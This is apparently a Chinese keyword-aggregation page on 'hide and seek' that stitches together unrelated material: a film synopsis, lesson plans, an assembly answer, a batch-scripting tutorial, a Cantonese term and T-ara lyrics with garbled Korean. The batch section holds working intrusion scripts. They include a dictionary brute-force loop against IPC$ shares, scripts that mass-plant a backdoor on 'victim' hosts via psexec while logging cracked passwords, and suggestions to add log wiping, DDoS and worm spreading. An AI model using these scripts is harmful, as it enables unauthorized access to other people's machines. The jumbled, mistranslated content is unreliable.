捉迷藏c语言

① 美国电影《捉迷藏》讲的是什么意思

剧情简介：

纽约市的心理学家大卫·查拉维（罗伯特·德尼罗饰）有一个幸福的家庭，但他的妻子在新年前夕突然自杀，11岁的女儿艾米莉（达科塔·范宁饰）在这一打击下几乎失语。为了帮助女儿治疗心理创伤，大卫将家从纽约市区搬到僻静的郊外。

大卫原以为这样就可以忘记过去，与女儿过上平静的生活。但他没想到女儿的行为变得更怪异，她与一个想象中的朋友“查理”交上了朋友，甚至整天玩捉迷藏的游戏。

慢慢地这个虚幻的“查理”深深地介入大卫一家的生活；随后一连串奇异的死亡事件先后发生，令人毛骨悚然，而女儿都说是“查理”干的。于是，大卫决心找出答案。

(1)捉迷藏c语言扩展阅读：

《捉迷藏》是由二十世纪福斯电影公司发行的悬疑片，由约翰·波尔森执导，罗伯特·德尼罗和达科塔·范宁主演，于2005年1月28日在美国上映。

影片讲述了在妻子自杀后，丈夫大卫发现女儿开始有了一个只存在于她意识里的“朋友”查理，而且查理渐渐开始侵入他们现实生活的故事。

影片评价;

该片老少配的演员阵容给整部影片带来了新意。导演约翰·波尔森在这部处女惊悚片中，用一种缓慢而稳步的恐惧给观众带来了的来自心底的惊吓和恐惧。

影片至始至终都氤氲在让人阴冷的氛围之中。导演并没有运用流行的特技来渲染影片中的恐怖气氛，而是大量使用节奏变换多样的音乐，不断闪回的镜头和一些莫名其妙人物的突然出现来慢慢营造气氛以烘托最后迷局揭开的那一刻。

此外，再加上两位演员的精彩演绎，使得该片呈现出一种让人“琢磨不定”的气息。

老戏骨罗伯特·德尼罗的表现一如既往的稳定，但似乎剧本并没有给他多少发挥的余地，角色本身既没有跌宕起伏的心理变化，也没有大喜大悲的人生境遇以供他挥洒，他需要做得仅仅是面无表情即可。

倒是小演员达科塔·范宁有着超乎寻常的优异表现，她恰如其分的表演赋予了角色一种悲情并让人怜惜的特质。（2005年08月22日09:32新浪娱乐）

② 想知道捉迷藏怎么写

写作思路：要直接简化任务语言。在叙述中，我们要把直接叙述变成间接叙述，尽可能简化人物语言。这样，即使情节连贯，又使语句“简练”。

有一天，我和几个朋友一起玩捉迷藏的游戏。

我们先猜拳，一位小朋友输了，我们就躲起来，他来找我们。我们藏得很隐蔽，那个小朋友找啊找啊，找了好久都没有找到。在他换了好几个地方以后，他终于找到了，第一个就找到了我。“啊！终于找到了！”他高兴的大叫道。

这次轮到我去找他们了。等我数完一百声后，他们已经藏得影儿都没了。我四处张望，真不知道该从哪里开始找。

我这里看看，那里瞧瞧，汗水都出来了，还是没有找到一个人。我有些气馁了，刚想放弃，忽然听到一堵墙后传来“咯咯”的笑声，我小心翼翼的走过去，到了墙边才一下子跳过去，终于让我发现了一个小朋友。我开心极了！

我的精神一下就好起来了，继续找，终于把他们一个一个的都找出来了。

③ 幼儿园中班语言教案《捉迷藏》

在教学工作者实际的教学活动中，时常会需要准备好教案，教案是教学活动的总的组织纲领和行动方案。教案应该怎么写呢？以下是我整理的幼儿园中班语言教案《捉迷藏》，欢迎阅读与收藏。

幼儿园中班语言教案《捉迷藏》1

设计意图：

小班孩子在表达时常常把一些方位词混淆，而且在交流、表现这些方面还不够大胆、大方，根据孩子的年龄特点，我们利用生活中的材料（如纸箱、桌子、雨伞等）和幼儿共同创设多样的语言情境，让孩子在提供的情境中积极互动，学习正确使用上、下、前、后、里等方位词不断获得新的语言经验，成为主动探求并积极参与语言加工的创造者。

教案目的：

1、能在中正确掌握空间方位词：上、下、前、后、里。

2、积极参与活动，在活动中乐于和同伴交流,大胆地表现自己。

教案准备：

1、森林场景、小动物玩具若干

2、课前与幼儿一起自制小猫胸饰若干

3、学习歌曲“找小猫”

教案过程：

一、以到森林游玩，音乐进场。

二、学习正确使用方位词：

（一）寻找小动物：“找找小动物们在哪里？”

1、引导幼儿学习正确使用方位词。

2、鼓励幼儿认真观察，大胆讲述。

（二）寻找猫宝宝胸饰

“那我们先去找找我们自己做的猫宝宝胸饰藏在哪里了，每个宝宝找一个胸饰，找到的宝宝自己将胸饰戴好，然后坐在草地上告诉同伴你是在什么地方找到猫宝宝胸饰的。”

1、请幼儿自由寻找并且鼓励幼儿和伙伴交流。

2、鼓励幼儿大胆说出自己在哪找到猫宝宝胸饰的？

三、“捉迷藏”：

1、交代规则：

“宝宝们听到音乐响起来了就在森林里找一个舒服的地方躲起来，等音乐停下来时，宝宝们就要躲好了。妈妈来找你们时被妈妈找到的宝宝要告诉妈妈你躲在什么地方？会完整告诉妈妈躲在哪里的宝宝，妈妈奖励他一个大苹果。没有被妈妈找到的宝宝要继续躲好不要发出声音。

2、师幼共同

提问：刚才宝宝们躲在哪里？（引导幼儿说完整的话，并能用正确的方位词大胆地表述）

四、结束部分

“宝宝们今天玩得开心吗？现在天黑了，我们坐车回家吧！”

幼儿园中班语言教案《捉迷藏》2

活动目标：

1、仔细观察，能大方讲述自己的发现，感受发现的乐趣。

2、发现动物体色（外形）和环境的关系。知道一些动物自我保护的本领。

活动准备：

《艾玛捉迷藏》PPT，太阳伞、轮船、帐篷、袜子图片

活动过程：

一、 导入

1、出示封面，师：今天，老师带来了一本绘本，看看！绘本的封面上有谁？（大象）哦，它和你们一样有名字哦，它叫艾玛！我们和艾玛打个招呼吧！

2、师：看看艾玛身上有什么特别的地方？（身上有很多颜色）有些什么颜色呀？说一说。那这些颜色在艾玛身上构成一块一块的什么图形？

师：哦，原来艾玛是一只五颜六色的花格子大象。

3、师：今天艾玛要和森林里的小动物们玩捉迷藏的游戏，你们玩过捉迷藏游戏吗？怎么玩的？

二、 艾玛捉迷藏，感受捉迷藏的乐趣

1、出示PPT2，师：那我们看看艾玛和小鸟谁找谁藏呢？你从哪里可以看出来？捉迷藏游戏开始咯，艾玛赶紧找地方去躲了起来。

2、出示PPT3，师：小鸟睁开眼睛开始找咯！它先飞到了小山坡上，这里会藏着艾玛吗？仔细地来找一找。是这里吗？你为什么觉得这里可能是艾玛呢？）那到底是不是呢？（出示“帐篷画面”）是什么？（我告诉你们哦，这是一顶帐篷，）知道什么是帐篷吗？那你们仔细看看，这是一顶怎么样的帐篷？

3、师：小鸟继续在这里找呀找呀，它又发现了艾玛，你们发现了吗？在哪里？是艾玛吗？（出示衣服、袜子画面）原来是什么？

4、师：这里也没有藏着艾玛，小鸟接着又飞到了小树林里，它一下子就找到了艾玛，你们找到了吗？在哪里？我们一起看看是不是呢？（出示太阳伞画面）你能用好听的词来说说这顶太阳伞吗？（幼儿说说）你们说得太好了，这里有一顶五颜六色的太阳伞，可是没有花格子大象艾玛哦！

5、师：小鸟继续向前飞，来到了灌木丛里，这里有艾玛吗？在哪呢？到底是不是呢？我们闭上眼睛，我数到三你们再睁开，1,2,3，（出示小船画面）哎！怎么还不是艾玛呀？原来是一艘小船啊！

6、（同时出示帐篷、衣服袜子、太阳伞、小船画面）师：刚才我们和小鸟找了好多地方，把哪些东西当成艾玛了呀？为什么会把他们看成是艾玛呢？

三、 小动物捉迷藏，了解躲藏的秘密

1、师：哎，小鸟找了这么多地方也没找到艾玛，于是它决定先去找其他小动物，看这里！藏着谁呢？（找找说说青蛙、瓢虫）

2、师：其他小动物都找到了，可是艾玛还没找到呢！我们再去找找它吧！

四、帮艾玛躲躲好

1、师：小鸟飞呀飞呀，来到了更远的地方，它在一片草丛里一下子就发现了艾玛，小鸟说：“艾玛，你怎么躲在这里呀？”艾玛说：“哎，我身上五颜六色的，走了这么远，也没能找到适合我躲的地方，我只好随便躲在这个草丛里。”小鸟说：“没关系，艾玛，我们再来玩一次，这次你可要藏得好好的哦！”

2、师：我们小朋友来帮艾玛想想它躲在哪里才不容易被小鸟发现呢？

（根据幼儿说的贴出太阳伞、轮船、帐篷、袜子，感受色彩的相似）

师：原来你已经知道了捉迷藏不容易被人发现的秘密了，就是躲在和自己身体颜色相近的地方，那我们一起来告诉艾玛吧！艾玛，艾玛，你可以躲在五颜六色的……里，谁也来告诉艾玛？（1个幼儿）

师：除了躲在五颜六色的……里，还可以躲在哪里呢？你来说。（幼儿学说句式）

3、师：说得太棒了！相信在你们的帮助下，这一次艾玛一定会把自己藏的好好的。我们今天看了小动物们玩捉迷藏游戏，你们也想玩吗？那我们回到教室也去玩一玩吧！

幼儿园中班语言教案《捉迷藏》3

活动目标

1、感受诗歌中的有趣意境，激发幼儿对大自然多彩的颜色产生浓厚兴趣。

2、通过猜测，发散幼儿的'思维，提高幼儿的语言能力。

3、能用"xx躲在x颜色里"的句式进行散文仿编。

4、引导幼儿细致观察画面，激发幼儿的想象力。

5、根据已有经验，大胆表达自己的想法

活动准备

图片：太阳、颜色宝宝5种。自制动态ppt。

活动重点

有感情朗诵散文，能用"xx躲在x颜色里"的句式进行散文仿编。

活动难点

专心倾听散文，理解颜色对应关系。

活动过程

1、出示蒙眼的太阳提问：这是谁？它怎么啦？为什么太阳要蒙眼睛呢？它会和谁一起玩捉迷藏呢？

2、出示ppt提问：这是什么颜色？依次出示红黄兰绿白。

教师总结：黑夜用长长的手帕，把太阳的眼睛蒙了起来，趁他还在数着：一、二、三、四······颜色们赶紧找个自己喜欢的地方，静悄悄地躲起来。

3、幼儿大胆猜想教师：请小朋友们猜猜颜色们会躲到哪里去呢？

红色躲在哪里？绿色躲在哪里？蓝色躲在哪里？黄色躲在哪里？白色躲在哪里？

4、出示完整的ppt教师：黑夜把手帕解开，太阳睁开眼睛，开始找颜色们。我们一起来找一找。

为什么绿色躲在草丛里？

师幼一起小结：绿色躲在草丛里，黄色躲在菊花里，红色躲在枫叶里，蓝色躲在天空里，白色躲在云朵里。

颜色宝宝要躲在与自己颜色相近或一样的地方，才不容易被太阳发现。

5、 引导幼儿了解散文，感受散文的趣味性。

播放音乐，引导幼儿集中精力倾听散文，在脑海里想象散文中颜色宝宝玩游戏时的快乐画面。

6、游戏：捉迷藏，鼓励幼儿参与活动在游戏中仿编散文。

游戏方法：每位几位幼儿选择一张自己喜欢的颜色卡片，来扮演颜色宝宝，老师扮演太阳。播放动听音乐，小朋友悄悄躲到教室的某个角落，音乐结束太阳照到小朋友时，小朋友站起来大声说："x颜色躲在xx里"。

活动延伸：

到户外与真正的太阳玩"捉迷藏"的游戏。

教学反思：

游戏是最适宜于促进幼儿主体性和个性化教育的形式，因此，教师应积极地将理念转化为行为，注重在活动中观察、捕捉幼儿的兴趣，把握时机及时引导，促使孩子们更深入进行游戏，让孩子在健康游戏中得到更多的发展。

④ 汇编问题！解释指令！

1。第一种实现方法的最后一条语句语法是错误的，应改为：
MOV BX，DX
MOV AX，DS：[BX]或MOV AX,[BX]
其余地方你的理解是正确的。
2。第二个答案其实又包括两种实现方法，你把它们合并在一起了。
MOV BX，[2000H]
MOV AX, [2000H+2]
MOV ES，AX
MOV AX，ES：[BX]；这是一种实现方法

MOV BX，2000H
LES BX，[BX]
MOV AX，ES：[BX]；这又是一种实现方法
因此你一共给出了三种方法的实现。

MOV AX，ES：[BX] （不理解，为什么是[BX]，而不是BX。从这开始不理解！）
在汇编语言中没有 段寄存器名：寄存器名 这种格式，只有在内存操作数对应的寻址方式前才能加段超越前缀，这说明你对寻址方式的理解还存在一定的问题，多看看就好了。

⑤ 捉迷藏英文如何读

害得 恩得 C克

⑥ 谁能帮帮忙！！！关于批处理！！！

一.简单批处理内部命令简介
1.Echo 命令
打开回显或关闭请求回显功能，或显示消息。如果没有任何参数，echo 命令将显示当前回显
设置。
语法
echo [{on|off}] [message]
Sample：@echo off / echo hello world
在实际应用中我们会把这条命令和重定向符号（也称为管道符号，一般用> >> ^）结合来实
现输入一些命令到特定格式的文件中.这将在以后的例子中体现出来。

2.@ 命令
表示不显示@后面的命令，在入侵过程中（例如使用批处理来格式化敌人的硬盘）自然不能让
对方看到你使用的命令啦。
Sample：@echo off
@echo Now initializing the program,please wait a minite...
@format X: /q/u/autoset (format 这个命令是不可以使用/y这个参数的，可喜的是微软留
了个autoset这个参数给我们，效果和/y是一样的。)

3.Goto 命令
指定跳转到标签，找到标签后，程序将处理从下一行开始的命令。
语法：goto label （label是参数，指定所要转向的批处理程序中的行。）
Sample：
if {%1}=={} goto noparms
if {%2}=={} goto noparms（如果这里的if、%1、%2你不明白的话，先跳过去，后面会有详
细的解释。）
@Rem check parameters if null show usage
:noparms
echo Usage: monitor.bat ServerIP PortNumber
goto end
标签的名字可以随便起，但是最好是有意义的字母啦，字母前加个：用来表示这个字母是标
签，goto命令就是根据这个：来寻找下一步跳到到那里。最好有一些说明这样你别人看起来
才会理解你的意图啊。

4.Rem 命令
注释命令，在C语言中相当与/*--------*/,它并不会被执行，只是起一个注释的作用，便于
别人阅读和你自己日后修改。
Rem Message
Sample：@Rem Here is the description.

5.Pause 命令
运行 Pause 命令时，将显示下面的消息：
Press any key to continue . . .
Sample：
@echo off
:begin
a:*.* d：\back
echo Please put a new disk into driver A
pause
goto begin
在这个例子中，驱动器 A 中磁盘上的所有文件均复制到d:\back中。显示的注释提示您将另
一张磁盘放入驱动器 A 时，pause 命令会使程序挂起，以便您更换磁盘，然后按任意键继续
处理。

6.Call 命令
从一个批处理程序调用另一个批处理程序，并且不终止父批处理程序。call 命令接受用作调
用目标的标签。如果在脚本或批处理文件外使用 Call，它将不会在命令行起作用。
语法
call [[Drive:][Path] FileName [BatchParameters]] [:label [arguments]]
参数
[Drive:}[Path] FileName
指定要调用的批处理程序的位置和名称。filename 参数必须具有 .bat 或 .cmd 扩展名。

7.start 命令
调用外部程序，所有的DOS命令和命令行程序都可以由start命令来调用。
入侵常用参数：
MIN 开始时窗口最小化
SEPARATE 在分开的空间内开始 16 位 Windows 程序
HIGH 在 HIGH 优先级类别开始应用程序
REALTIME 在 REALTIME 优先级类别开始应用程序
WAIT 启动应用程序并等候它结束
parameters 这些为传送到命令/程序的参数
执行的应用程序是 32-位 GUI 应用程序时，CMD.EXE 不等应用程序终止就返回命令提示。如
果在命令脚本内执行，该新行为则不会发生。
8.choice 命令
choice 使用此命令可以让用户输入一个字符，从而运行不同的命令。使用时应该加/c:参数，
c:后应写提示可输入的字符，之间无空格。它的返回码为1234……
如: choice /c:dme defrag,mem,end
将显示
defrag,mem,end[D,M,E]?
Sample：
Sample.bat的内容如下:
@echo off
choice /c:dme defrag,mem,end
if errorlevel 3 goto defrag （应先判断数值最高的错误码）
if errorlevel 2 goto mem
if errotlevel 1 goto end

:defrag
c:\dos\defrag
goto end
:mem
mem
goto end
:end
echo good bye

此文件运行后，将显示 defrag,mem,end[D,M,E]? 用户可选择d m e ，然后if语句将作出
判断，d表示执行标号为defrag的程序段，m表示执行标号为mem的程序段，e表示执行标号
为end的程序段，每个程序段最后都以goto end将程序跳到end标号处，然后程序将显示good
bye，文件结束。

9.If 命令

if 表示将判断是否符合规定的条件，从而决定执行不同的命令。 有三种格式:
1、if "参数" == "字符串" 待执行的命令
参数如果等于指定的字符串，则条件成立，运行命令，否则运行下一句。(注意是两个等号）
如if "%1"=="a" format a:
if {%1}=={} goto noparms
if {%2}=={} goto noparms

2、if exist 文件名 待执行的命令
如果有指定的文件，则条件成立，运行命令，否则运行下一句。
如if exist config.sys edit config.sys

3、if errorlevel / if not errorlevel 数字 待执行的命令
如果返回码等于指定的数字，则条件成立，运行命令，否则运行下一句。
如if errorlevel 2 goto x2
DOS程序运行时都会返回一个数字给DOS，称为错误码errorlevel或称返回码，常见的返回
码为0、1。

10.for 命令
for 命令是一个比较复杂的命令，主要用于参数在指定的范围内循环执行命令。
在批处理文件中使用 FOR 命令时，指定变量请使用 %%variable

for {%variable|%%variable} in (set) do command [ CommandLineOptions]
%variable 指定一个单一字母可替换的参数。
(set) 指定一个或一组文件。可以使用通配符。
command 指定对每个文件执行的命令。
command-parameters 为特定命令指定参数或命令行开关。
在批处理文件中使用 FOR 命令时，指定变量请使用 %%variable
而不要用 %variable。变量名称是区分大小写的，所以 %i 不同于 %I

如果命令扩展名被启用，下列额外的 FOR 命令格式会受到
支持:

FOR /D %variable IN (set) DO command [command-parameters]

如果集中包含通配符，则指定与目录名匹配，而不与文件
名匹配。

FOR /R [[drive:]path] %variable IN (set) DO command [command-

检查以 [drive:]path 为根的目录树，指向每个目录中的
FOR 语句。如果在 /R 后没有指定目录，则使用当前
目录。如果集仅为一个单点(.)字符，则枚举该目录树。

FOR /L %variable IN (start,step,end) DO command [command-para

该集表示以增量形式从开始到结束的一个数字序列。
因此，(1,1,5) 将产生序列 1 2 3 4 5，(5,-1,1) 将产生
序列 (5 4 3 2 1)。

FOR /F ["options"] %variable IN (file-set) DO command
FOR /F ["options"] %variable IN ("string") DO command
FOR /F ["options"] %variable IN (’command’) DO command

或者，如果有 usebackq 选项:

FOR /F ["options"] %variable IN (file-set) DO command
FOR /F ["options"] %variable IN ("string") DO command
FOR /F ["options"] %variable IN (’command’) DO command

filenameset 为一个或多个文件名。继续到 filenameset 中的
下一个文件之前，每份文件都已被打开、读取并经过处理。
处理包括读取文件，将其分成一行行的文字，然后将每行
解析成零或更多的符号。然后用已找到的符号字符串变量值
调用 For 循环。以默认方式，/F 通过每个文件的每一行中分开
的第一个空白符号。跳过空白行。您可通过指定可选 "options"
参数替代默认解析操作。这个带引号的字符串包括一个或多个
指定不同解析选项的关键字。这些关键字为:

eol=c - 指一个行注释字符的结尾(就一个)
skip=n - 指在文件开始时忽略的行数。
delims=xxx - 指分隔符集。这个替换了空格和跳格键的
默认分隔符集。
tokens=x,y,m-n - 指每行的哪一个符号被传递到每个迭代
的 for 本身。这会导致额外变量名称的
格式为一个范围。通过 nth 符号指定 m
符号字符串中的最后一个字符星号，
那么额外的变量将在最后一个符号解析之
分配并接受行的保留文本。
usebackq - 指定新语法已在下类情况中使用:
在作为命令执行一个后引号的字符串并且
引号字符为文字字符串命令并允许在 fi
中使用双引号扩起文件名称。

sample1:
FOR /F "eol=; tokens=2,3* delims=, " %i in (myfile.txt) do command

会分析 myfile.txt 中的每一行，忽略以分号打头的那些行，将
每行中的第二个和第三个符号传递给 for 程序体；用逗号和/或
空格定界符号。请注意，这个 for 程序体的语句引用 %i 来
取得第二个符号，引用 %j 来取得第三个符号，引用 %k
来取得第三个符号后的所有剩余符号。对于带有空格的文件
名，您需要用双引号将文件名括起来。为了用这种方式来使
用双引号，您还需要使用 usebackq 选项，否则，双引号会
被理解成是用作定义某个要分析的字符串的。

%i 专门在 for 语句中得到说明，%j 和 %k 是通过
tokens= 选项专门得到说明的。您可以通过 tokens= 一行
指定最多 26 个符号，只要不试图说明一个高于字母 ’z’ 或
’Z’ 的变量。请记住，FOR 变量是单一字母、分大小写和全局的；
同时不能有 52 个以上都在使用中。

您还可以在相邻字符串上使用 FOR /F 分析逻辑；方法是，
用单引号将括号之间的 filenameset 括起来。这样，该字符
串会被当作一个文件中的一个单一输入行。

最后，您可以用 FOR /F 命令来分析命令的输出。方法是，将
括号之间的 filenameset 变成一个反括字符串。该字符串会
被当作命令行，传递到一个子 CMD.EXE，其输出会被抓进

内存，并被当作文件分析。因此，以下例子:

FOR /F "usebackq delims==" %i IN (`set`) DO @echo %i

会枚举当前环境中的环境变量名称。

另外，FOR 变量参照的替换已被增强。您现在可以使用下列
选项语法:

~I - 删除任何引号(")，扩充 %I
%~fI - 将 %I 扩充到一个完全合格的路径名
%~dI - 仅将 %I 扩充到一个驱动器号
%~pI - 仅将 %I 扩充到一个路径
%~nI - 仅将 %I 扩充到一个文件名
%~xI - 仅将 %I 扩充到一个文件扩展名
%~sI - 扩充的路径只含有短名
%~aI - 将 %I 扩充到文件的文件属性
%~tI - 将 %I 扩充到文件的日期/时间
%~zI - 将 %I 扩充到文件的大小
%~$PATH:I - 查找列在路径环境变量的目录，并将 %I 扩充
到找到的第一个完全合格的名称。如果环境变量
未被定义，或者没有找到文件，此组合键会扩充
空字符串

可以组合修饰符来得到多重结果:

%~dpI - 仅将 %I 扩充到一个驱动器号和路径
%~nxI - 仅将 %I 扩充到一个文件名和扩展名
%~fsI - 仅将 %I 扩充到一个带有短名的完整路径名
%~dp$PATH:i - 查找列在路径环境变量的目录，并将 %I 扩充
到找到的第一个驱动器号和路径。
%~ftzaI - 将 %I 扩充到类似输出线路的 DIR

在以上例子中，%I 和 PATH 可用其他有效数值代替。%~ 语法
用一个有效的 FOR 变量名终止。选取类似 %I 的大写变量名
比较易读，而且避免与不分大小写的组合键混淆。

以上是MS的官方帮助，下面我们举几个例子来具体说明一下For命令在入侵中的用途。

sample2：

利用For命令来实现对一台目标Win2k主机的暴力密码破解。
我们用net use \\ip\ipc$ "password" /u:"administrator"来尝试这和目标主机进行连接，
当成功时记下密码。
最主要的命令是一条：for /f i% in (dict.txt) do net use \\ip\ipc$ "i%"
/u:"administrator"
用i%来表示admin的密码，在dict.txt中这个取i%的值用net use 命令来连接。然后将程
序运行结果传递给find命令－－
for /f i%% in (dict.txt) do net use \\ip\ipc$ "i%%" /u:"administrator"|find ":命
令成功完成">>D:\ok.txt ，这样就ko了。

sample3：

你有没有过手里有大量肉鸡等着你去种后门＋木马呢？，当数量特别多的时候，原本很开心
的一件事都会变得很郁闷：）。文章开头就谈到使用批处理文件，可以简化日常或重复性任务。
那么如何实现呢？呵呵，看下去你就会明白了。

主要命令也只有一条：（在批处理文件中使用 FOR 命令时，指定变量使用 %%variable）
@for /f "tokens=1,2,3 delims= " %%i in (victim.txt) do start call door.bat %%i %%j
%%k
tokens的用法请参见上面的sample1，在这里它表示按顺序将victim.txt中的内容传递给
door.bat中的参数%i %j %k。
而cultivate.bat无非就是用net use命令来建立IPC$连接，并木马＋后门到victim，
然后用返回码（If errorlever =）来筛选成功种植后门的主机，并echo出来，或者echo到
指定的文件。
delims= 表示vivtim.txt中的内容是一空格来分隔的。我想看到这里你也一定明白这
victim.txt里的内容是什么样的了。应该根据%%i %%j %%k表示的对象来排列，一般就是 ip
password username。
代码雏形：
--------------- cut here then save as a batchfile(I call it main.bat )
---------------------------
@echo off
@if "%1"=="" goto usage
@for /f "tokens=1,2,3 delims= " %%i in (victim.txt) do start call IPChack.bat %%i
%%j %%k
@goto end
:usage
@echo run this batch in dos modle.or just double-click it.
:end
--------------- cut here then save as a batchfile(I call it main.bat )
---------------------------

------------------- cut here then save as a batchfile(I call it door.bat)
-----------------------------
@net use \\%1\ipc$ %3 /u:"%2"
@if errorlevel 1 goto failed
@echo Trying to establish the IPC$ connection …………OK
@ windrv32.exe\\%1\admin$\system32 && if not errorlevel 1 echo IP %1 USER %2 PWD
%3 >>ko.txt
@psexec \\%1 c:\winnt\system32\windrv32.exe
@psexec \\%1 net start windrv32 && if not errorlevel 1 echo %1 Backdoored >>ko.txt
:failed
@echo Sorry can not connected to the victim.
----------------- cut here then save as a batchfile(I call it door.bat)
--------------------------------
这只是一个自动种植后门批处理的雏形，两个批处理和后门程序（Windrv32.exe）,PSexec.exe
需放在统一目录下.批处理内容
尚可扩展,例如:加入清除日志+DDOS的功能,加入定时添加用户的功能,更深入一点可以使之
具备自动传播功能(蠕虫).此处不多做叙述,有兴趣的朋友可自行研究.

二.如何在批处理文件中使用参数
批处理中可以使用参数，一般从1%到 9%这九个，当有多个参数时需要用shift来移动，这
种情况并不多见，我们就不考虑它了。
sample1：fomat.bat
@echo off
if "%1"=="a" format a:
:format
@format a:/q/u/auotset
@echo please insert another disk to driver A.
@pause
@goto fomat
这个例子用于连续地格式化几张软盘，所以用的时候需在dos窗口输入fomat.bat a，呵呵,
好像有点画蛇添足了～^_^
sample2：
当我们要建立一个IPC$连接地时候总要输入一大串命令，弄不好就打错了，所以我们不如把
一些固定命令写入一个批处理，把肉鸡地ip password username 当着参数来赋给这个批处
理，这样就不用每次都打命令了。
@echo off
@net use \\1%\ipc$ "2%" /u:"3%" 注意哦，这里PASSWORD是第二个参数。
@if errorlevel 1 echo connection failed
怎么样,使用参数还是比较简单的吧？你这么帅一定学会了^_^.

三.如何使用组合命令(Compound Command)

1.&

Usage：第一条命令 & 第二条命令 [& 第三条命令...]

用这种方法可以同时执行多条命令，而不管命令是否执行成功

Sample：
C:\>dir z: & dir c:\Ex4rch
The system cannot find the path specified.
Volume in drive C has no label.
Volume Serial Number is 0078-59FB

Directory of c:\Ex4rch

2002-05-14 23:51 <DIR> .
2002-05-14 23:51 <DIR> ..
2002-05-14 23:51 14 sometips.gif

2.&&

Usage：第一条命令 && 第二条命令 [&& 第三条命令...]

用这种方法可以同时执行多条命令，当碰到执行出错的命令后将不执行后面的命令，如果一
直没有出错则一直执行完所有命令；

Sample：
C:\>dir z: && dir c:\Ex4rch
The system cannot find the path specified.

C:\>dir c:\Ex4rch && dir z:
Volume in drive C has no label.
Volume Serial Number is 0078-59FB

Directory of c:\Ex4rch

2002-05-14 23:55 <DIR> .
2002-05-14 23:55 <DIR> ..
2002-05-14 23:55 14 sometips.gif
1 File(s) 14 bytes
2 Dir(s) 768,671,744 bytes free
The system cannot find the path specified.

在做备份的时候可能会用到这种命令会比较简单，如：
dir file://192.168.0.1/database/backup.mdb &&
file://192.168.0.1/database/backup.mdb E:\backup
如果远程服务器上存在backup.mdb文件，就执行命令，若不存在该文件则不执行
命令。这种用法可以替换IF exist了 ：）

3.||

Usage：第一条命令 || 第二条命令 [|| 第三条命令...]

用这种方法可以同时执行多条命令，当碰到执行正确的命令后将不执行后面的命令，如果没
有出现正确的命令则一直执行完所有命令；

Sample：
C:\Ex4rch>dir sometips.gif || del sometips.gif
Volume in drive C has no label.
Volume Serial Number is 0078-59FB

Directory of C:\Ex4rch

2002-05-14 23:55 14 sometips.gif
1 File(s) 14 bytes
0 Dir(s) 768,696,320 bytes free

组合命令使用的例子：
sample：
@ trojan.exe \\%1\admin$\system32 && if not errorlevel 1 echo IP %1 USER %2 PASS
%3 >>victim.txt

四、管道命令的使用

1.| 命令
Usage：第一条命令 | 第二条命令 [| 第三条命令...]
将第一条命令的结果作为第二条命令的参数来使用，记得在unix中这种方式很常见。

sample：
time /t>>D:\IP.log
netstat -n -p tcp|find ":3389">>D:\IP.log
start Explorer
看出来了么？用于终端服务允许我们为用户自定义起始的程序，来实现让用户运行下面这个
bat，以获得登录用户的IP。

2.>、>>输出重定向命令
将一条命令或某个程序输出结果的重定向到特定文件中, > 与 >>的区别在于，>会清除调原
有文件中的内容后写入指定文件，而>>只会追加内容到指定文件中，而不会改动其中的内容。

sample1：
echo hello world>c:\hello.txt (stupid example?)

sample2:
时下DLL木马盛行，我们知道system32是个捉迷藏的好地方，许多木马都削尖了脑袋往那里
钻，DLL马也不例外，针对这一点我们可以在安装好系统和必要的应用程序后，对该目录下
的EXE和DLL文件作一个记录：
运行CMD--转换目录到system32--dir *.exe>exeback.txt & dir *.dll>dllback.txt,
这样所有的EXE和DLL文件的名称都被分别记录到exeback.txt和dllback.txt中,
日后如发现异常但用传统的方法查不出问题时,则要考虑是不是系统中已经潜入DLL木马了.
这时我们用同样的命令将system32下的EXE和DLL文件记录到另外的exeback1.txt和
dllback1.txt中,然后运行:
CMD--fc exeback.txt exeback1.txt>diff.txt & fc dllback.txt
dllback1.txt>diff.txt.(用FC命令比较前后两次的DLL和EXE文件,并将结果输入到
diff.txt中),这样我们就能发现一些多出来的DLL和EXE文件,然后通过查看创建时间、版
本、是否经过压缩等就能够比较容易地判断出是不是已经被DLL木马光顾了。没有是最好，
如果有的话也不要直接DEL掉，先用regsvr32 /u trojan.dll将后门DLL文件注销掉,再把
它移到回收站里，若系统没有异常反映再将之彻底删除或者提交给杀毒软件公司。

3.< 、>& 、<&
< 从文件中而不是从键盘中读入命令输入。
>& 将一个句柄的输出写入到另一个句柄的输入中。
<& 从一个句柄读取输入并将其写入到另一个句柄输出中。
这些并不常用，也就不多做介绍。

⑦ 捉迷藏广州话怎么说

扑哩哩（粤语音标：pok8 lei1 lei1)。

捉咿因 (dzuk7 ji1 jan1)。

广州话（英文：Cantonese），是粤语的代表，而广州话是粤语的典型代表，属汉藏语系汉语族粤语广府片，是粤语各方言中最为强势和最具影响力的语言，也是公认的粤语标准音。

广府片在粤中、粤北，主要分布在广州、佛山、东莞、中山、深圳、云浮等市以及肇庆、珠海、清远、韶关四市的一部分，香港、澳门也在此语言区域内。

简介

粤语，是广东话的代表，本地人多称为“白话”。粤语是全国七大方言之一，也是一种很有特色的方言，一种强势的方言。粤语主要通行于广东大部分地区、广西部分地区及港澳。此外，在美英加的华人大部分也是使用粤语。据估计，到目前为止，全世界使用粤语的人口已有1.2亿。

粤语作为汉藏语系汉语族的一种语言，它的词汇自然和普通话有很大的共同性。据估计，与普通话相同的词汇接近70%，如果内容为政治经济文化等领域的词汇一致性更高，至少有90%。

⑧ 求T-ara捉迷藏中文歌词

捉迷藏 t-ara숨바꼭질 t-ara藏的严严实实而无法找到你的心단단하고 소지는 당신의 마음을 찾을 수 없습니다藏的严严实实而无法了解你的心단단하고 소지는 당신의 마음을 이해할 수 없다为什么只是笑呢 你也和我一样吗왜 그냥 웃음 당신은 저를 좋아하세요藏的严严实实我的心动摇了내 마음의 소지가 단단히 흔들어藏的严严实实 我坐立不安단단히 난 안절부절 소지你却装作不知道 掩藏着你的心하지만 당신은 당신의 마음을 숨길 모르는 척想要去爱啊 想要和你在一起啊아 사랑하고 싶어 아 당신과 함께 할内心深处藏得严严实实깊은 단단히 안에 숨겨져如同胆小鬼一样你的爱겁쟁이처럼, 당신의 사랑처럼你令我疯狂 又令我展颜당신은 내가 완벽 주의자 나 너무 화가 이루어是不是因为怕受伤 所以才不敢说그것은 말할 수 없다, 그래서 그것 때문에 부상의 두려움이다不要再捉迷藏了 love me aby숨바꼭질하지 마십시오 love me baby
